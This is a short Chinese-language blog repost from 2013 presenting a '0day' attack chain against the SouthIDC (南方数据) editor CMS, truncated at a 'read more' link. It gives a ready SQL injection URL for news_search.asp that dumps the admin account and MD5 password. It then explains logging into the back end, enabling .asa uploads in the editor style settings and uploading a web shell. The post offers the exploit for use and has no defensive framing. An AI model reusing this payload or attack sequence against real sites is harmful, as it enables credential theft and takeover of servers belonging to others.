南方数据编辑器southidceditor最新注入0day漏洞

作者：admin 发布于：2013-7-15 12:39 Monday 分类：网络转载

15Jul

1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
直接暴管理员帐号密码(md5)

2.登陆后台

3.利用编辑器上传:

访问admin/southidceditor/admin_style.asp

修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.

========================================

参考资料整理:

1、通过upfile_other.asp漏洞文件直接取SHEL...

阅读全文>>

标签: southidceditor

评论(0) 引用(266) 浏览(136245)